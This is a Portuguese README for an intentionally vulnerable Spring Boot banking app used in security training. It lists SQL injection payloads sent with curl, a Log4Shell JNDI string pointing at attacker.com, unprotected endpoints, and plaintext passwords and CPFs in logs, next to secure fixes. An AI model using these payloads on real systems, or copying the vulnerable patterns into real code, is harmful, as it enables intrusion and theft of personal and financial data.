Esta aplicação Spring Boot foi desenvolvida INTENCIONALMENTE com vulnerabilidades de segurança para demonstrar problemas comuns em aplicações web e como atacantes podem explorá-los.
NÃO USE EM PRODUÇÃO!
Aplicação: Microsserviço Java/Spring Boot de transações bancárias
Vulnerabilidades simuladas:
- SQL Injection - Queries concatenadas permitindo extração de dados
- PII em log - CPF, senhas e dados financeiros expostos nos logs
- Endpoints sem proteção - Configuração permitAll() inadequada
- Dependência vulnerável - Log4j 2.14.1 (CVE-2021-44228)
Demonstração de ataques funcionando:
- SQL Injection retorna todos os saldos
- Log mostra CPF em claro
- Endpoints sensíveis acessíveis sem autenticação
- Dependência vulnerável permite RCE
- Java 11+
- Maven 3.6+
- curl (para testes)
- jq (opcional, para formatação JSON)
mvn spring-boot:runA aplicação estará disponível em: http://localhost:8080
curl http://localhost:8080/api/usuarios/listar1. SQL Injection - ./scripts/1_sql_injection.sh
- Extração de todos os saldos bancários
- Extração de todas as contas e transações
- Bypass de autenticação via login
- Análise técnica das queries vulneráveis
2. PII em Logs - ./scripts/2_pii_logs.sh
- Geração de logs através de registro/login
- Logs de transferências bancárias
- Análise dos tipos de dados expostos
- Demonstração de vazamento de informações
3. Endpoints sem Proteção - ./scripts/3_endpoints_sem_protecao.sh
- Acesso a endpoints sem autenticação
- Demonstração de configuração permitAll()
- Exposição de dados sensíveis sem autorização
- Análise técnica das configurações inadequadas
4. Dados Expostos - ./scripts/4_dados_expostos.sh
- Listagem de usuários sem autenticação
- Exposição de contas bancárias e saldos
- Busca de usuários por CPF
- Consulta de saldos por faixa de valor
5. Actuator - Informações Privadas - ./scripts/5_actuator_info_privadas.sh
- Download de heapdump da aplicação
- Análise de memória com VisualVM
- Extração de senhas do banco de dados
- Demonstração de vazamento via Actuator endpoints
6. Dependência Vulnerável (Log4Shell) - ./scripts/6_log4shell.sh
- Verificação da versão Log4j vulnerável
- Simulação de payloads Log4Shell
- Análise do CVE-2021-44228
- Demonstração de vetores de ataque
curl -s "http://localhost:8080/api/contas/buscar-por-saldo/0%20OR%201=1%20--" | jq .curl -s "http://localhost:8080/api/contas/buscar-por-numero/%27%20OR%20%271%27=%271" | jq .curl -s "http://localhost:8080/api/usuarios/listar" | jq ../scripts/3_endpoints_sem_protecao.sh| CPF | Nome | Senha | Conta | Saldo |
|---|---|---|---|---|
| 12345678901 | João Silva | senha123 | 12345-6 | R$ 15.000,50 |
| 98765432100 | Maria Santos | minhasenha | 98765-4 | R$ 25.000,75 |
| 11122233344 | Carlos Admin | admin123 | 11111-1 | R$ 100.000,00 |
Localização:
ContaBancariaRepository.java:21-findByNumeroContaVulneravel()ContaBancariaRepository.java:28-findContasComSaldoMaiorQue()UsuarioRepository.java:18-loginVulneravel()TransacaoRepository.java:16-findByTipoVulneravel()
Problema: Queries SQL são construídas por concatenação de strings sem sanitização.
Exploração:
-- Query original
SELECT * FROM contas_bancarias WHERE numero_conta = 'USER_INPUT'
-- Com payload: ' OR '1'='1
SELECT * FROM contas_bancarias WHERE numero_conta = '' OR '1'='1'
-- Retorna TODOS os registrosEndpoints vulneráveis:
GET /api/contas/buscar-por-numero/{numeroConta}GET /api/contas/buscar-por-saldo/{saldoMinimo}GET /api/transacoes/buscar-por-tipo/{tipo}POST /api/auth/login
Localização:
UsuarioService.java:19- Log de dados completos do usuárioTransacaoService.java:25- Log de CPF em transferênciasJwtUtil.java:23- Log do JWT secret e tokenDataInitializer.java:35- Log de dados de inicialização
Problema: Informações pessoais (PII) são registradas em logs em texto claro.
Dados expostos:
- CPFs completos
- Senhas em texto claro
- Dados financeiros (saldos)
- Tokens JWT
- Emails e nomes
Exemplo de log vulnerável:
INFO - Criando usuário - CPF: 12345678901, Nome: João, Email: [email protected], Senha: senha123
INFO - Transferência - CPF: 12345678901 de conta 12345-6 para conta 98765-4 no valor de R$ 1000.00
DEBUG - Token JWT gerado: eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiVVNFUiI...
Localização:
SecurityConfig.java:25- Configuração permitAll() inadequada
Problemas:
- Endpoints sensíveis configurados com permitAll()
- Dados de usuários acessíveis sem autenticação
- Configuração de segurança inadequada
Exploração:
# Acesso sem qualquer autenticação
curl -s "http://localhost:8080/api/usuarios/listar"
# Retorna todos os dados dos usuáriosLocalização: pom.xml:30
Problema: Log4j versão 2.14.1 (vulnerável ao CVE-2021-44228 - Log4Shell)
Exploração:
# Payload LDAP injection (Log4Shell)
${jndi:ldap://attacker.com/exploit}Impacto: Remote Code Execution (RCE)
Localização: SecurityConfig.java:25
Problemas:
- Endpoints sensíveis sem autenticação
- Headers de segurança desabilitados
- Senhas sem criptografia (PasswordEncoder customizado vulnerável)
- CSRF desabilitado
- Frames permitidos
// Vulnerável
@Query(value = "SELECT * FROM usuarios WHERE cpf = '" + ":cpf" + "'", nativeQuery = true)
// Seguro
@Query("SELECT u FROM Usuario u WHERE u.cpf = :cpf")// Vulnerável
logger.info("Login - CPF: {}, Senha: {}", cpf, senha);
// Seguro
logger.info("Login attempt for user with ID: {}", userId);// Configuração segura
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests()
.antMatchers("/api/auth/**").permitAll()
.anyRequest().authenticated()
.and()
.csrf().disable()
.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS);
}<!-- Versão segura -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.0</version>
</dependency>security-demo/
├── src/main/java/com/demo/security/
│ ├── SecurityDemoApplication.java
│ ├── config/
│ │ ├── DataInitializer.java
│ │ ├── JwtAuthenticationFilter.java
│ │ ├── JwtUtil.java
│ │ └── SecurityConfig.java
│ ├── controller/
│ │ ├── AuthController.java
│ │ ├── ContaBancariaController.java
│ │ ├── TransacaoController.java
│ │ └── UsuarioController.java
│ ├── model/
│ │ ├── ContaBancaria.java
│ │ ├── Transacao.java
│ │ └── Usuario.java
│ ├── repository/
│ │ ├── ContaBancariaRepository.java
│ │ ├── TransacaoRepository.java
│ │ └── UsuarioRepository.java
│ └── service/
│ ├── TransacaoService.java
│ └── UsuarioService.java
├── scripts/
│ ├── 1_sql_injection.sh
│ ├── 2_pii_logs.sh
│ ├── 3_endpoints_sem_protecao.sh
│ ├── 4_dados_expostos.sh
│ ├── 5_actuator_info_privadas.sh
│ └── 6_log4shell.sh
└── README.md
- Entender como vulnerabilidades são introduzidas
- Aprender a identificar problemas de segurança no código
- Praticar técnicas de code review focadas em segurança
- Demonstrar impacto real de vulnerabilidades
- Praticar técnicas de exploração em ambiente controlado
- Criar relatórios de penetration testing
- Demonstrar importância de security scanning
- Mostrar como vulnerabilidades passam pelo pipeline
- Justificar implementação de gates de segurança
IMPORTANTE
- Esta aplicação é INTENCIONALMENTE VULNERÁVEL
- Use APENAS para fins educativos e de treinamento
- NÃO EXPONHA esta aplicação na internet
- NÃO USE este código como base para aplicações reais
- Os autores NÃO SE RESPONSABILIZAM por uso inadequado
Desenvolvido para demonstrar vulnerabilidades de segurança em aplicações web. Use com responsabilidade!